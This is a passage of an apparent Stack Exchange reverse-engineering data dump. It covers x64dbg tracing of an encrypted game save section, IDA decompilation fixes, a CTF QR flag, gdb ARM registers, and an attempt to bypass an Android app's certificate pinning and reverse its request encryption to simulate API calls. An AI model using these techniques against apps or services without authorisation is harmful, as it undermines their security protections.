a new section of the fmf is written&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZQZhV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZQZhV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now this looks similar in size to the previous tac file and is written after the tac file is read back in by the application, it also seems to have section separators in the FMF file so it is its own section.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/edtCl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/edtCl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look carefully you can see that this section is what was written after it read the tac file back in, now this section appears to be compressed/encrypted but I would guess that this is the tac, and you can clearly see distinct sections in the file separated by&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10 00 00 00 10 00 00 00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it is easy to break the file up. Now my question is, this section is the area of interest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1jfGa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1jfGa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual data always seems to be around rcx+8 which points to an address with a QWORD pointer which points to the data. I tried decompiling this function and got the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct s0 {&#xA;    uint32_t f0;&#xA;    int8_t[4] pad8;&#xA;    uint32_t f8;&#xA;    int8_t[4] pad16;&#xA;    uint32_t f16;&#xA;    uint32_t f20;&#xA;};&#xA;&#xA;int32_t fun_146da5dd0();&#xA;&#xA;/* function-which-calls-write */&#xA;uint32_t function_which_calls_write(int64_t rcx, uint32_t rdx, int64_t r8);&#xA;&#xA;/* unknown 1 */&#xA;int64_t unknown_1(struct s0* rcx) {&#xA;    uint32_t eax2;&#xA;    uint32_t eax3;&#xA;    uint32_t edi4;&#xA;    uint32_t rsi5;&#xA;    int64_t rax6;&#xA;    int32_t eax7;&#xA;    int64_t rcx8;&#xA;    int64_t r8_9;&#xA;    uint32_t eax10;&#xA;    uint32_t eax11;&#xA;&#xA;    eax2 = rcx-&amp;gt;f20;    &#xA;    if ((*(uint8_t*)&amp;amp;eax2 &amp;amp; 3) != 2 || ((eax3 = rcx-&amp;gt;f20, (*(uint8_t*)&amp;amp;eax3 &amp;amp; 0xc0) == 0) || (edi4 = rcx-&amp;gt;f0 - rcx-&amp;gt;f8, rcx-&amp;gt;f16 = 0, rsi5 = rcx-&amp;gt;f8, rcx-&amp;gt;f0 =     rsi5, (uint1_t)((int32_t)edi4 &amp;lt; (int32_t)0) | (uint1_t)(edi4 == 0)))) {&#xA;        addr_0x146d9e917_2:&#xA;        *(uint32_t*)&amp;amp;rax6 = 0;&#xA;        *(int32_t*)((int64_t)&amp;amp;rax6 + 4) = 0;&#xA;    } else {&#xA;        eax7 = fun_146da5dd0();&#xA;        *(int32_t*)&amp;amp;rcx8 = eax7;&#xA;        *(int32_t*)((int64_t)&amp;amp;rcx8 + 4) = 0;&#xA;        *(uint32_t*)&amp;amp;r8_9 = edi4;&#xA;        *(int32_t*)((int64_t)&amp;amp;r8_9 + 4) = 0;&#xA;        eax10 = function_which_calls_write(rcx8, rsi5, r8_9);&#xA;        if (edi4 == eax10) {&#xA;            eax11 = rcx-&amp;gt;f20 &amp;gt;&amp;gt; 2;&#xA;            if (*(uint8_t*)&amp;amp;eax11 &amp;amp; 1) {&#xA;                rcx-&amp;gt;f20 = rcx-&amp;gt;f20 &amp;amp; 0xfffffffd;&#xA;                goto addr_0x146d9e917_2;&#xA;            }&#xA;        } else {&#xA;            rcx-&amp;gt;f20 = rcx-&amp;gt;f20 | 16;&#xA;            *(uint32_t*)&amp;amp;rax6 = 0xffffffff;&#xA;            *(int32_t*)((int64_t)&amp;amp;rax6 + 4) = 0;&#xA;        }&#xA;    }&#xA;    return rax6;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So obvious it seems like a struct, especially with the +number on the registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another useful thing to note is that these sections in the fmf file are always different, ALWAYS, so if I make a tactic, save it, load in the tactic again (exact same one) and resave it is totally different content in between the constant separators 10 00 00 00 and the signature at the start of the file. So that leads me to believe it is some form of compression/encryption but with additional seed, such as the time added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is I have located this data in the function I showed above, but obviously, there is data loaded in before this place in the function or in a previous function in the call stack. &lt;strong&gt;Is there any quick way of following where this data comes from?&lt;/strong&gt; Once I find the exact point it originates I should obviously be able to conclude that is the encryption/compression function which produces it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="27441" LastEditorUserId="27441" LastEditDate="2019-02-14T13:18:11.467" LastActivityDate="2019-02-16T10:48:47.093" Title="x64dbg - Locating where data is initially written" Tags="|x64dbg|game-hacking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20615" PostTypeId="2" ParentId="20591" CreationDate="2019-02-13T09:16:42.787" Score="2" Body="&lt;p&gt;The decompiler decided that &lt;code&gt;ecx&lt;/code&gt; is used by &lt;code&gt;sub_431C00&lt;/code&gt; because of &lt;code&gt;push    ecx&lt;/code&gt; at the beginning of the function which fills the stack slot later used by the variable &lt;code&gt;phkResult&lt;/code&gt;, so it may look as if the initial value of &lt;code&gt;phkResult&lt;/code&gt; is taken from &lt;code&gt;ecx&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00431C00                 push    ecx&#xA;.text:00431C01                 lea     eax, [esp+4+phkResult]&#xA;.text:00431C04                 push    eax             ; phkResult&#xA;.text:00431C05                 push    1               ; samDesired&#xA;.text:00431C07                 push    0               ; ulOptions&#xA;.text:00431C09                 push    offset SubKey   ; &quot;SOFTWARE\\Valkyrie Studios\\Septerra Co&quot;...&#xA;.text:00431C0E                 push    80000002h       ; hKey&#xA;.text:00431C13                 call    ds:RegOpenKeyExA&#xA;.text:00431C19                 test    eax, eax&#xA;.text:00431C1B                 jz      short loc_431C21&#xA;.text:00431C1D                 xor     eax, eax&#xA;.text:00431C1F                 pop     ecx&#xA;.text:00431C20                 retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In fact, this &lt;code&gt;push ecx&lt;/code&gt; is just a shorter versions of &lt;code&gt;sub esp, -4&lt;/code&gt; - the value of &lt;code&gt;ecx&lt;/code&gt; does not need to be preserved across function calls so this push is used to reserve 4 bytes of the stack for the &lt;code&gt;phkResult&lt;/code&gt; variable. Unfortunately, it is pretty difficult for an automatic algorithm to differentiate between genuine pushes to save registers or pass arguments to function calls and dummy ones to manipulate the stack. If you decided that the ecx usage is false positive, just fix the function prototype (&lt;kbd&gt;Y&lt;/kbd&gt; key) and remove the unnecessary argument:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl sub_431C00(LPCSTR lpValueName, DWORD Data)&#xA;{&#xA;  LSTATUS v3; // esi&#xA;  HKEY phkResult; // [esp+0h] [ebp-4h]&#xA;&#xA;  if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE, &quot;SOFTWARE\\Valkyrie Studios\\Septerra Core&quot;, 0, 1u, &amp;amp;phkResult) )&#xA;    return 0;&#xA;  v3 = RegSetValueExA(phkResult, lpValueName, 0, REG_DWORD, (const BYTE *)&amp;amp;Data, 4u);&#xA;  RegCloseKey(phkResult);&#xA;  return v3 == 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now the parent sub has nice decompilation too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int sub_410640()&#xA;{&#xA;  sub_431C00(&quot;volumeMaster&quot;, g_volumeMaster);&#xA;  sub_431C00(&quot;volumeMusic&quot;, g_volumeMusic);&#xA;  sub_431C00(&quot;volumeFX&quot;, g_volumeFX);&#xA;  sub_431C00(&quot;volumeSpeech&quot;, g_gvolumeSpeech);&#xA;  return sub_431C00(&quot;volumeMinimum&quot;, g_volumeMinimum);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, to summarize:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The problem is caused by compiler optimization confusing the decompiler into deciding that the register value is used while it's just a dummy filler. &lt;/li&gt;&#xA;&lt;li&gt;There is no one true solution that always works, you'll need to experiment and be prepared to roll back and try again. With experience it will become easier.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;P.S. IDA did not add &lt;code&gt;ecx&lt;/code&gt; to the function prototype because it only analyzes stack arguments. The decompiler does dataflow analysis so it can recover register arguments too, but sometimes it can result in false positives, like here.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-02-13T09:16:42.787" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20617" PostTypeId="1" CreationDate="2019-02-13T17:57:16.710" Score="0" ViewCount="200" Body="&lt;p&gt;I'm trying to reverse engineering an android app API so this is what I tried:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First the app was using Okhttp certificate pinning and I couldn't track the URLs with &lt;a href=&quot;https://www.charlesproxy.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Charles&lt;/a&gt; then I tried this &lt;a href=&quot;https://medium.com/@appmattus/android-security-ssl-pinning-1db8acb6621e&quot; rel=&quot;nofollow noreferrer&quot;&gt;method&lt;/a&gt; and now the tracking part is working but the request body is encrypted and I really can't understand the method of encryption because all of the requests have different length and its not like Base64 here like this example : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2W3UVr4mLWNceSUQ+g4c4ojHCQhlbPC1sjHHNd0l6Ro3FbmefatLFedfI1bvjOHpcApSOjmH1M7xNkLsAO8Vfj90hly8HlfI5paMTNYf/GALQMkevwznI4z1NfbijycqPQNfTZ5C2bjWhS6VHM5VwyPeFVs5R9or/L4EPIAECeGejaQiPfYnGibrGIoeKB34H9YPr7Po6/VoYv317xKNyIXcs290rWibIpMZZ1bwuvfxJGd+YAjUDHj9l32mtKezABBHRnAZDpO8rZ63TsEV8xciaUZhDiDCn1tvV9/QgRrPxNDENDrkwGdQQY3jWt1fuf0g9N7zWR7vi4lwUN8Nb8hCy5rjgPZipX45j0BSRRsHl0t1hQUg4n4ChKZxQy15Pi4sXJsMkFDtqJ5vTjh3iS+X5Dydp4u1QhdLTuEJe50=&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;now I'm trying to decompile the APK and try to understand the encryption method. so I decompile the APK then start to find endpoints (this app using okhttp and retrofit), I found the endpoint I wanted &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@POST(&quot;e/xam/ple&quot;)&#xA;Call&amp;lt;Object&amp;gt; m3550a(@Header(&quot;Content-Type&quot;) String str, @Body String str2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I tried to rebuild the process of sending this endpoint to simulate the request and encryption but not only its so hard (&lt;a href=&quot;http://www.javadecompilers.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Java decompiler&lt;/a&gt; and &lt;a href=&quot;https://github.com/skylot/jadx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Jadx&lt;/a&gt; cant decompile all the methods and some of them have exception) but some the methods have bad parameters like this method : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static String j(Context context) {&#xA;    try {&#xA;        return aa.a(context);&#xA;    } catch (Exception e2) {&#xA;        e2.printStackTrace();&#xA;        return a;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the aa.a() method : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static String a(byte[] bArr) {&#xA;    char[] cArr = new char[(bArr.length * 2)];&#xA;    for (int i = 0; i &amp;lt; bArr.length; i++) {&#xA;        int i2 = bArr[i] &amp;amp; 255;&#xA;        int i3 = i * 2;&#xA;        cArr[i3] = c[i2 &amp;gt;&amp;gt;&amp;gt; 4];&#xA;        cArr[i3 + 1] = c[i2 &amp;amp; 15];&#xA;    }&#xA;    return new String(cArr);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is there any way to do this easier i searched the decompiled folder for encrption methods and i find this codes : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cipher : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public class C1355f {&#xA;/* renamed from: a */&#xA;public static String f3576a = &quot;MIGfMA0GCSqGSIb3DQEBAQUAA4GSADCBiQKBgQCVSNDQlVBMy2Wh4J3usfQydpwIzY6FwqDwV0Dd+Bk6PA5sc3usQ8mmjLiI2YD1RDv4jjvmAdkXK+HXuxm2fI6XeIQvgnPRaaj9yNcJnFNViogidcFO7Kg2YYj8yj6DgnCkAtgJeUx2DVvyPnv+Vk1q37Tg4qW0dEFNkWL9hKXGSwIDAQAB&quot;;&#xA;&#xA;/* renamed from: a */&#xA;public static byte[] m3787a(String str, String str2) throws Exception {&#xA;    try {&#xA;        str = C1355f.m3786a(str);&#xA;        str2 = str2.getBytes(&quot;UTF8&quot;);&#xA;        byte[] bArr = new byte[16];&#xA;        Arrays.fill(bArr, (byte) 0);&#xA;        AlgorithmParameterSpec ivParameterSpec = new IvParameterSpec(bArr);&#xA;        Cipher instance = Cipher.getInstance(&quot;AES/CBC/PKCS5Padding&quot;);&#xA;        instance.init(1, str, ivParameterSpec);&#xA;        return instance.doFinal(str2);&#xA;    } catch (String str3) {&#xA;        throw new Exception(str3);&#xA;    }&#xA;}&#xA;&#xA;/* renamed from: a */&#xA;public static SecretKeySpec m3786a(String str) throws UnsupportedEncodingException {&#xA;    Object obj = new byte[16];&#xA;    Arrays.fill(obj, (byte) 0);&#xA;    str = str.getBytes(&quot;UTF-8&quot;);&#xA;    System.arraycopy(str, 0, obj, 0, str.length &amp;lt; obj.length ? str.length : obj.length);&#xA;    return new SecretKeySpec(obj, &quot;AES&quot;);&#xA;}&#xA;&#xA;/* renamed from: a */&#xA;public static byte[] m3788a(byte[] bArr, String str) throws Exception {&#xA;    bArr = KeyFactory.getInstance(&quot;RSA&quot;).generatePublic(new X509EncodedKeySpec(bArr));&#xA;    Cipher instance = Cipher.getInstance(&quot;RSA/ECB/PKCS1Padding&quot;);&#xA;    instance.init(1, bArr);&#xA;    return instance.doFinal(str.getBytes());&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Base64 : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private byte[] f8405h = new byte[0];&#xA;Base64.encodeToString(this.f8405h, 2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;sorry if this question is a mess but i need help anything can be helpfull&lt;/p&gt;&#xA;" OwnerUserId="27450" LastActivityDate="2023-12-22T11:01:10.103" Title="decomplied apk with bad parameters" Tags="|android|java|apk|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20618" PostTypeId="1" CreationDate="2019-02-13T18:31:10.990" Score="0" ViewCount="197" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4jJjH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4jJjH.png&quot; alt=&quot;The QR image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I find the flag in this QR image? After scanning the QR image, I obtain the following text which may be of help: N2QzNjYyMzQ2NDMzMzMzMzM3MzAzNDM0NjEzMzMyNjEzNjM2Mzk2NTY2MzQ2NDMwMzgzODMyMzQz&#xA;MzM4MzAzNTYyN2I2NzYxNmM2Ng==&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What have you obtained as the flag and how? Thanking you all in advance.&lt;/p&gt;&#xA;" OwnerUserId="27452" LastActivityDate="2019-02-14T15:50:02.980" Title="How would I go about finding the 'flag' in this QR image(Capture the Flag)?" Tags="|security|" AnswerCount="1" CommentCount="3" ClosedDate="2019-03-07T02:11:31.977" ContentLicense="CC BY-SA 4.0" />
  <row Id="20619" PostTypeId="2" ParentId="15351" CreationDate="2019-02-13T19:10:44.430" Score="13" Body="&lt;p&gt;Visual Studio for Mac can do the job. Just hit &lt;code&gt;File / Open&lt;/code&gt; and then choose the &lt;code&gt;executable or library&lt;/code&gt; you want. It'll open the &lt;code&gt;Assembly Browser&lt;/code&gt; window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need more detailed code change the &lt;code&gt;Visibility&lt;/code&gt; to &lt;code&gt;All members&lt;/code&gt; and the Language to &lt;code&gt;C#&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SmAUj.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SmAUj.png&quot; alt=&quot;Visibility&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZpT6F.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZpT6F.png&quot; alt=&quot;Language&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QL7FI.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QL7FI.png&quot; alt=&quot;decompiled&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27454" LastEditorUserId="27454" LastEditDate="2019-02-14T22:19:51.803" LastActivityDate="2019-02-14T22:19:51.803" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20620" PostTypeId="2" ParentId="20609" CreationDate="2019-02-13T20:15:29.590" Score="1" Body="&lt;p&gt;There's a debugging flag called &lt;code&gt;dbg.execs&lt;/code&gt; that setting it to true should stop the execution when an &lt;code&gt;execv&lt;/code&gt; is happening. So try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; e dbg.execs = true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like it works on Linux, but I couldn't get the same behaviour on OSX.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-02-13T20:15:29.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20621" PostTypeId="2" ParentId="20618" CreationDate="2019-02-14T15:50:02.980" Score="2" Body="&lt;p&gt;Its a base64 that once decoded will give you a HEX string, that if converted to chars will let you find your reversed flag string:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Redacted reversed flag:&#xA;}6b4d**********05b{galf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Redacted flag is:&#xA;flag{b508**********3d4b6}&lt;/p&gt;&#xA;" OwnerUserId="13977" LastActivityDate="2019-02-14T15:50:02.980" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20622" PostTypeId="2" ParentId="20568" CreationDate="2019-02-14T16:42:49.010" Score="3" Body="&lt;p&gt;These phenomena may be explained by the technique used to write the code on the flash. &lt;br&gt; The fact that code is structured in two parts would allow the developers to write the code in the flash in two distinct moments. &lt;br&gt; From  &lt;strong&gt;MCF5282 and MCF5216 ColdFire Microcontroller User’s Manual, Rev. 3&lt;/strong&gt; page 6-19  states:&lt;br&gt; &lt;strong&gt;&lt;em&gt;Thus, a single erase page is effectively 2 Kbyte&lt;/em&gt;&lt;/strong&gt; &lt;br&gt;(0xc00=24 pages). &lt;br&gt;It's probable that the code with weird JSR targets might derive from garbage remained there from previous versions, not erased by process of writing the current code in the lower memory. &lt;hr&gt;This answer has been elaborated with the help of &lt;strong&gt;IgorSkochinsky&lt;/strong&gt; and &lt;strong&gt;BruceAbbott&lt;/strong&gt;.&lt;hr&gt;&lt;/p&gt;&#xA;" OwnerUserId="17411" LastActivityDate="2019-02-14T16:42:49.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20623" PostTypeId="2" ParentId="8992" CreationDate="2019-02-15T14:11:56.403" Score="0" Body="&lt;p&gt;&lt;strong&gt;&lt;code&gt;p $reg&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In QEMU v3.0.0 built from source &lt;a href=&quot;https://stackoverflow.com/questions/20590155/how-to-single-step-arm-assembly-in-gdb-on-qemu/51310791#51310791&quot;&gt;user mode&lt;/a&gt; + GDB 8.2 Ubuntu 16.04, if you do: &lt;code&gt;info registers&lt;/code&gt; and &lt;code&gt;info vector&lt;/code&gt; it does not show the floating point values but rather rounds them down to integers, I think there is a bug. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following does work however. First I load:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1.5, 2.5, 3.5, 4.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into v0 / q0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ARMv8&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) p $v0&#xA;$2 = {&#xA;  d = {&#xA;    f = {[0] = 8.0000018998980522, [1] = 1024.0002455711365}, &#xA;    u = {[0] = 4620693218751676416, [1] = 4652218416153755648}, &#xA;    s = {[0] = 4620693218751676416, [1] = 4652218416153755648}&#xA;  }, &#xA;  s = {&#xA;    f = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5}, &#xA;    u = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008}, &#xA;    s = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008}&#xA;  }, &#xA;  h = {&#xA;    u = {[0] = 0, [1] = 16320, [2] = 0, [3] = 16416, [4] = 0, [5] = 16480, [6] = 0, [7] = 16528}, &#xA;    s = {[0] = 0, [1] = 16320, [2] = 0, [3] = 16416, [4] = 0, [5] = 16480, [6] = 0, [7] = 16528}&#xA;  }, &#xA;  b = {&#xA;    u = {[0] = 0, [1] = 0, [2] = 192, [3] = 63, [4] = 0, [5] = 0, [6] = 32, [7] = 64, [8] = 0, [9] = 0, [10] = 96, [11] = 64, [12] = 0, [13] = 0, [14] = 144, [15] = 64}, &#xA;    s = {[0] = 0, [1] = 0, [2] = -64, [3] = 63, [4] = 0, [5] = 0, [6] = 32, [7] = 64, [8] = 0, [9] = 0, [10] = 96, [11] = 64, [12] = 0, [13] = 0, [14] = -112, [15] = 64}&#xA;  }, &#xA;  q = {&#xA;    u = {[0] = 85818282497786728556221825347259203584}, &#xA;    s = {[0] = 85818282497786728556221825347259203584}&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) p $v0.s&#xA;$3 = {&#xA;  f = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5}, &#xA;  u = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008}, &#xA;  s = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) p $v0.s.f&#xA;$3 = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/cirosantilli/arm-assembly-cheat/blob/d5dafc3528f8f735e5ed0f36e7aa8014a145a240/v8/simd.S#L68&quot; rel=&quot;nofollow noreferrer&quot;&gt;Test setup&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ARMv7&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) p $q0&#xA;$3 = {&#xA;  u8 = {[0] = 0, [1] = 0, [2] = 192, [3] = 63, [4] = 0, [5] = 0, [6] = 32, [7] = 64, [8] = 0, [9] = 0, [10] = 96, [11] = 64, [12] = 0, [13] = 0, [14] = 144, [15] = 64}, &#xA;  u16 = {[0] = 0, [1] = 16320, [2] = 0, [3] = 16416, [4] = 0, [5] = 16480, [6] = 0, [7] = 16528}, &#xA;  u32 = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008}, &#xA;  u64 = {[0] = 4620693218751676416, [1] = 4652218416153755648}, &#xA;  f32 = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5}, &#xA;  f64 = {[0] = 8.0000018998980522, [1] = 1024.0002455711365}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) p $q0.f32&#xA;$5 = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/cirosantilli/arm-assembly-cheat/blob/d5dafc3528f8f735e5ed0f36e7aa8014a145a240/v7/simd.S#L89&quot; rel=&quot;nofollow noreferrer&quot;&gt;Test setup&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bug&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bug I mentioned earlier, leads in ARMv8 to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) i r v0&#xA;v0             {&#xA;  d = {&#xA;    f = {[0x0] = 0x8, [0x1] = 0x400}, &#xA;    u = {[0x0] = 0x402000003fc00000, [0x1] = 0x4090000040600000}, &#xA;    s = {[0x0] = 0x402000003fc00000, [0x1] = 0x4090000040600000}&#xA;  }, &#xA;  s = {&#xA;    f = {[0x0] = 0x1, [0x1] = 0x2, [0x2] = 0x3, [0x3] = 0x4}, &#xA;    u = {[0x0] = 0x3fc00000, [0x1] = 0x40200000, [0x2] = 0x40600000, [0x3] = 0x40900000}, &#xA;    s = {[0x0] = 0x3fc00000, [0x1] = 0x40200000, [0x2] = 0x40600000, [0x3] = 0x40900000}&#xA;  }, &#xA;  h = {&#xA;    u = {[0x0] = 0x0, [0x1] = 0x3fc0, [0x2] = 0x0, [0x3] = 0x4020, [0x4] = 0x0, [0x5] = 0x4060, [0x6] = 0x0, [0x7] = 0x4090}, &#xA;    s = {[0x0] = 0x0, [0x1] = 0x3fc0, [0x2] = 0x0, [0x3] = 0x4020, [0x4] = 0x0, [0x5] = 0x4060, [0x6] = 0x0, [0x7] = 0x4090}&#xA;  }, &#xA;  b = {&#xA;    u = {[0x0] = 0x0, [0x1] = 0x0, [0x2] = 0xc0, [0x3] = 0x3f, [0x4] = 0x0, [0x5] = 0x0, [0x6] = 0x20, [0x7] = 0x40, [0x8] = 0x0, [0x9] = 0x0, [0xa] = 0x60, [0xb] = 0x40, [0xc] = 0x0, [0xd] = 0x0, [0xe] = 0x90, [0xf] = 0x40}, &#xA;    s = {[0x0] = 0x0, [0x1] = 0x0, [0x2] = 0xc0, [0x3] = 0x3f, [0x4] = 0x0, [0x5] = 0x0, [0x6] = 0x20, [0x7] = 0x40, [0x8] = 0x0, [0x9] = 0x0, [0xa] = 0x60, [0xb] = 0x40, [0xc] = 0x0, [0xd] = 0x0, [0xe] = 0x90, [0xf] = 0x40}&#xA;  }, &#xA;  q = {&#xA;    u = {[0x0] = 0x4090000040600000402000003fc00000}, &#xA;    s = {[0x0] = 0x4090000040600000402000003fc00000}&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So note how the &lt;code&gt;v0.s.f&lt;/code&gt; line has rounded down integers instead of floats:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  s = {&#xA;    f = {[0x0] = 0x1, [0x1] = 0x2, [0x2] = 0x3, [0x3] = 0x4},&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SVE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not yet implemented on QEMU, see: &lt;a href=&quot;https://stackoverflow.com/questions/52888916/how-to-assemble-arm-sve-instructions-with-gnu-gas-or-llvm-and-run-it-on-qemu/52888917#52888917&quot;&gt;https://stackoverflow.com/questions/52888916/how-to-assemble-arm-sve-instructions-with-gnu-gas-or-llvm-and-run-it-on-qemu/52888917#52888917&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27375" LastEditorUserId="27375" 